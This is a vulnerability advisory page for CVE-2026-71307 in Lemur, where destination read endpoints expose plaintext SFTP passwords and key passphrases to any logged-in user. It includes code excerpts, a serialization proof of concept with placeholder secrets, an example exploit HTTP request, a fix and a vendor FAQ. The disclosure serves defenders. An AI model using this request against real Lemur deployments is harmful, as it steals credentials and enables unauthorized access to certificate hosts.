Summary
Lemur: Authenticated low-privilege users can read plaintext destination credentials (SFTP password / private-key passphrase) via the destinations API
Lemur's destination read endpoints -- GET /api/1/destinations and GET /api/1/destinations/<id> -- return the full set of stored plugin option values to any authenticated user, with no authorization check and no redaction of secret-bearing options. The sibling write endpoints (POST/PUT/DELETE) are gated with @admin_permission.require(http_exception=403), but the two read handlers are protected only by login_required (inherited from AuthenticatedResource). They do not even exclude read-only users.
The built-in SFTP destination plugin (sftp-destination) stores its password and privateKeyPass options in cleartext in the destinations.options column (the plugin's own docstring states "Passwords are not encrypted and stored as a plain text."). Because DestinationOutputSchema serializes every option value verbatim, any authenticated principal -- including a read-only user -- can retrieve these credentials and use them to authenticate to the remote SFTP server to which Lemur deploys certificates.
Details
Read endpoints lack the authorization that their write siblings enforce:
lemur/destinations/views.py
class DestinationsList(AuthenticatedResource):
@validate_schema(None, destinations_output_schema)
def get(self): # <-- only login_required; no admin/read-only gate
...
return service.render(args)
@validate_schema(destination_input_schema, destination_output_schema)
@admin_permission.require(http_exception=403) # write path IS gated
def post(self, data=None): ...
class Destinations(AuthenticatedResource):
@validate_schema(None, destination_output_schema)
def get(self, destination_id): # <-- only login_required; no admin/read-only gate
return service.get(destination_id)
@validate_schema(destination_input_schema, destination_output_schema)
@admin_permission.require(http_exception=403) # write path IS gated
def put(self, destination_id, data=None): ...
@admin_permission.require(http_exception=403) # write path IS gated
def delete(self, destination_id): ...
The output schema emits all option values, including secret ones:
lemur/destinations/schemas.py
class DestinationOutputSchema(LemurOutputSchema):
...
options = fields.List(fields.Dict()) # raw option dicts, incl. {"name":"password","value":...}
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"] # copied verbatim into plugin block too
...
return data
options is the raw JSONType DB column (lemur/destinations/models.py), stored exactly as the plugin saved it. The SFTP plugin stores plaintext credentials:
lemur/plugins/lemur_sftp/plugin.py
"""
Passwords are not encrypted and stored as a plain text.
"""
options = [
...
{"name": "password", "type": "str", "required": False, ...}, # plaintext
{"name": "privateKeyPass", "type": "str", "required": False, ...}, # plaintext
...
]
There is no read-only enforcement on these GET handlers (no StrictRolePermission() call), so even users explicitly restricted to read-only access can read the secrets.
PoC
Reproduction of Lemur's exact serialization path (verbatim DestinationOutputSchema + PluginOutputSchema, marshmallow 2.21.0), fed a stored SFTP destination row with password auth:
from marshmallow import fields, post_dump, Schema
class PluginOutputSchema(Schema): # verbatim from lemur/schemas.py
id = fields.Integer(); label = fields.String(); description = fields.String()
active = fields.Boolean(); options = fields.List(fields.Dict(), dump_to="pluginOptions")
slug = fields.String(); title = fields.String()
class DestinationOutputSchema(Schema): # verbatim from lemur/destinations/schemas.py
id = fields.Integer(); label = fields.String(); description = fields.String()
active = fields.Boolean(); plugin = fields.Nested(PluginOutputSchema)
options = fields.List(fields.Dict())
@post_dump
def fill_object(self, data):
if data:
data["plugin"]["pluginOptions"] = data["options"]
for option in data["plugin"]["pluginOptions"]:
if "export-plugin" in option["type"]:
option["value"]["pluginOptions"] = option["value"]["plugin_options"]
return data
class Destination: # a stored SFTP destination row
id = 4; label = "prod-nginx-sftp"; description = "Deploy certs via SFTP"; active = True
options = [
{"name": "host", "type": "str", "value": "10.0.5.20"},
{"name": "user", "type": "str", "value": "deploy"},
{"name": "password", "type": "str", "value": "S3cr3t-SFTP-Passw0rd!"},
{"name": "privateKeyPass", "type": "str", "value": "rsa-key-passphrase-xyz"},
]
plugin = {"slug": "sftp-destination", "title": "SFTP",
"description": "Allow the uploading of certificates to SFTP",
"options": [], "id": 1, "label": None, "active": None}
out = DestinationOutputSchema().dump(Destination()).data
import json; print(json.dumps(out))
assert "S3cr3t-SFTP-Passw0rd!" in json.dumps(out)
assert "rsa-key-passphrase-xyz" in json.dumps(out)
Output (truncated) -- the plaintext secrets appear in both options and plugin.pluginOptions:
{"options":[ ... {"name":"password","type":"str","value":"S3cr3t-SFTP-Passw0rd!"},
{"name":"privateKeyPass","type":"str","value":"rsa-key-passphrase-xyz"} ...],
"plugin":{"pluginOptions":[ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ...],
"slug":"sftp-destination", ...}}
End-to-end, as a low-privilege (or read-only) user holding a normal Lemur JWT:
GET /api/1/destinations/4 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer <low-priv-user-token>
HTTP/1.1 200 OK
{ "plugin": { "pluginOptions": [ ... {"name":"password","value":"S3cr3t-SFTP-Passw0rd!"} ... ] } }
Impact
Confidentiality breach of deployment credentials. Any authenticated Lemur user -- regardless of role, including users intentionally limited to read-only -- can enumerate all configured destinations and read their plaintext secrets. For SFTP destinations this yields the SSH password and/or the passphrase protecting the RSA key Lemur uses to push certificates. With these, an attacker authenticates directly to the remote certificate-deployment hosts, replacing or reading their TLS material -- a scope change beyond Lemur itself (S:C). The same read path exposes any other secret-bearing option a destination plugin stores in cleartext.
Suggested fix: gate the destination GET handlers with admin_permission (consistent with the write handlers), and/or redact option values whose type/name marks them as secret before serialization in DestinationOutputSchema.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-71307 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
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Frequently Asked Questions
- What is CVE-2026-71307? CVE-2026-71307 is a high-severity missing authorization vulnerability in lemur (pip), affecting versions < 1.9.3. It is fixed in 1.9.3. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-71307? CVE-2026-71307 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of lemur are affected by CVE-2026-71307? lemur (pip) versions < 1.9.3 is affected.
- Is there a fix for CVE-2026-71307? Yes. CVE-2026-71307 is fixed in 1.9.3. Upgrade to this version or later.
- Is CVE-2026-71307 exploitable, and should I be worried? Whether CVE-2026-71307 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-71307 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-71307? Upgrade
lemurto 1.9.3 or later.